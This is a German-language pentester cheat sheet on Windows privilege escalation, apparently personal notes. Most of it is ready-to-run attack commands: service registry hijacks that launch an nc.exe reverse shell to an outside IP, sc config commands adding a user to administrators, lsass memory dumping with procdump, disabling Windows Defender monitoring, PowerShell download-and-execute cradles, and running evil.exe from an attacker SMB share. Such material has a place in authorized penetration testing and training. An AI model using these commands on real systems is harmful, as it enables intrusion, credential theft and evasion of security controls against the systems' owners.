Skip to content

Basic Powershell for Pentester Windows Privilege Escalation https://www.youtube.com/playlist?list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV Powershell cheat sheet CMD für Pentester Checklist https://github.com/Jean-Francois-C/Windows-Penetration-Testing/tree/master/Privilege%20escalation%20techniques%20(examples)

powershell -ep bypass

  • Enumeration

    systeminfo
    wmic qfe get Caption,Description,HotFixID,InstalledOn # Updates
    wmic logicaldisk get caption,description,providername # Laufwerke
    whoami /priv # Rechte
    whoami /groups # Gruppen
    net user # Nutzer
    net user administrator # Infos über Admin
    net localgroup administrators # Infos über admin gruppe
    ipconfig /all # Netzwerkgeräte
    arp -a # ARP Tabelle
    netstat -ano # Offene Ports
    gc (Get-PSReadLineOption).HistorySavePath # Lesen der Powershell history
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # Checkt Windows Auto-login
    schtasks /query /fo LIST /v # Scheduled Tasks
    
  • Privilegien ausnutzen

    https://github.com/gtworek/Priv2Admin Mit SeImpersonatePrivilege sind die Potato Attacken möglich.
  • Privilegierte Gruppen

    https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges
  • Path interception

    $env:Path
    
  • Registry Escalation - Autorun

    Durch die Überschreibung von Autorun Prozessen können die Privilegien erhöht werden. Dazu muss in C:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exe geguckt werden, welche Programme automatisch gestartet werden. Dies ist im Tab Logon zu sehen. Dann kann mit dem folgenden geprüft werden, ob dies überschrieben werden kann:
    C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program"
    
  • Registry Escalation - AlwaysInstallElevated

    In Windows gibt es die sogenannten .msi Dateien. Dies sind Installer, welche Windows Programme beim Start automatisch installieren. Ist die Variable AlwaysInstallElevated gesetzt, installieren diese Skripte mit admin Rechten. https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-reg-command.html
    reg query HKLM\Software\Policies\Microsoft\Windows\Installer # Prüfen, ob Variable gesetzt
    reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
    msiexec /quiet /qn /i <PROGRAM>.msi
    
  • Service Escalation - Registry

    Die Registry enthält low level Einstellungen für das Betriebssystem und die installierten Programme. Fehlkonfigurationen der Registry ACL können es einem Standard Nutzer ermöglichen Konfigurationen zu ändern. Ein Angreifer kann dies ausnutzen, um Registry Einträge für System Dienste zu ändern. Indem der Pfad der Ausführbaren Datei im ImagePath geändert wird. Der richtige Registry Dienst der ausgenutzt werden sollte ist ein Lokaler System Dienst und am besten mit der Option Manual, damit dieser selbst gestartet werden kann. Der authentifizierte Benutzer muss außerdem Schreibrechte haben, um die Registry Keys zu modifizieren. Check der Rechte zum ändern der Registry:
    $acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services
    ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}
    reg query HKLM\System\CurrentControlSet\Services\svc_name
    
    Suche nach Services mit Local System Rechten:
    $services = Get-ItemProperty -Path HKLM:\System\CurrentContrlSet\Services\*
    
    $services | where {($_.ObjectName -match LocalSystem)}
    

reg add HKLM\SYSTEM\CurrentControlSet\services\svc_name /v ImagePath /t REG_EXPAND_SZ /d C:\path\shell.exe /f
Prüfen der Restart Policy:
$services | Where-Object {($_.ObjectName -eq "LocalSystem") -and ($_.Start -eq 3)}

Value Description
0 Boot
1 System
2 Automatic
3 Manual
4 Disabled

Registry überschreiben:

Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\<SERVICE> -name ImagePath -value "C:\windows\system32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.26 4447"
- # Service Escalation - Executable Files Manche Services haben ausführbare Dateien. Wenn diese Executable FILE_ALL_ACCESS Rechte hat kann diese manipulliert werden.
accesschk64.exe -wvu "C:\Program Files\File Permissions Service"
- # Autostart Anwendungen
icacls.exe "C:\ProgramData\Microsoft\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl``Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
- # DLL Hijacking #TODO Nutzt einProgramm eine DLL die nicht existiert, kann selbst eine DLL eingeschleust werden.
sc start <SERVICE>
- # Escalation mit Binary Paths
accesschk64.exe -uwcqv Everyone * # Alle Services, welche schreibbar sind und in der Gruppe Everyone. 
accesschk64.exe -uwcv <SERVICE> # Mehr Serviceinfos
.\accesschk.exe /accepteula -uwdv "C:\Program Files" # checkt, ob Verzeichnisse schreibbar sind
`.\accesschk.exe /accepteula -uqv "C:\Program Files\abcd\file.exe"` # Checkt die Rechte einer Anwendung
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\svc_name # Überprüfung von schwachen registry Rechten
sc qc <SERVICE> # service config
sc config <SERVICE> binpath="net localgroup administrators user /add" # Möglich mit SC_CHANGE_CONFIG Rechten
- # Escalation mit Unquoted Service Paths Wurden bei einem Service keine Anführungszeichen angegeben, sucht Windows in den verschiedenen Verzeichnissen, wenn der Pfad leerzeichen enthält. Beispielsweise bei dem Pfad C:\Program Files\Program Data\programm.exe, versucht Windows die folgenden Dinge auszuführen: 1. C:\Program.exe 2. C:\Program Files\Program.exe 3. C:\Program Files\Program Data\program.exe
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '"'
Mit dem Befehl sc.exe start <Service Name> kann der Service gestartet werden. Mit dem SeShutdownPrivilege Privilege und dem Kommando shutdown /r /t 0 ist es möglich den Computer neuzustarten, falls der Service beim start ausgeführt wird. - # Windows Subsystem for Linux
wsl python -c BIND_OR_REVERSE_SHELL_PYTHON_CODE
- # Firewall/AV
sc query windefend # check win defender
sc queryx type= service # Alle services
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show

Set-MpPreference -DisableRealTimeMonitoring $true # Deaktivieren von Echtzeit Monitorring
Set-MpPreference -DisableIOAVProtection $true # Deaktivieren von Dateiscanns
- ## Port Forward #TODO
plink.exe -l <ATTACKER ROOT> -pw <ATTACKER PW> -R 445:127.0.0.1:445 <IP> # Forward of local port 445
- # Passwords
findstr /si password *.txt *.ini *.config
- # Runas Mit dem Befehl runas ist es möglich Befehle als anderer Nutzer auszuführen. Um dies tun zu können brauchen wir credentials, dazu können wir prüfen ob welche gespeichert sind mit cmdkey /list. Mit diesem Nutzer können nun Befehle ausgeführt werden:
runas /savecred /user:<USER> "\\<IP>\SHARE\evil.exe" # Ausführen einer bin auf einem SMB Share
runas /savecred /user:<USER> "<BEFEHL>"
- # Speicher Kopie
procdump.exe -accepteula -ma lsass.exe lsass.dmp
- # Extrahieren von Session Informationen von Remote Access Tools https://github.com/Arvanaghi/SessionGopher - # Auflisten der AppLocker Regeln Mit AppLocker können spezielle Regeln für Anwendungen definiert werden.
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
`set` # Test der AppLocker Policy
- # Ausnutzen von Schattenkopien
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows

# List shadow copies using diskshadow
diskshadow list shadows all

# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
- # Von lokalem Administrator zu NT SYSTEM
PsExec.exe -i -s cmd.exe
- # Tools WinPEAS um farben zu aktivieren kann der registry key REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 gesetzt werden. PowerUp zweitbestes Tool powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ip/PowerUp.ps1')"

JAWS Windows Exploit Suggester Benutzt als Eingabe die Ausgabe von systeminfo Metasploit Local Exploit Suggester Seatbelt SharpUp - # Alternative Datenstreams Auf dem NTFS Dateisystem ist es möglich Daten in alternativen Datenstreams zu verstecken. Dies kann mit dem sysinternals Tool streams überprüft werden. - # Datei Transfer - ## SMB Starten des Servers auf Linux

sudo impacket-smbserver abcd ./
Kopieren von Daten zwischen SMB Shares
copy //<ATTACKER_IP>/<SHARE NAME>/<DATEI NAME>
- ## HTTP
powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ip/file')"

powershell.exe iex (iwr http://ip/file -usebasicparsing)
- # Ressourcen Windows PrivEsc Checklist Fuzzy Security Guide Payload allTheThings Guide Absolomb Windows PrivEsc Guide Guide Weitere Ressourcen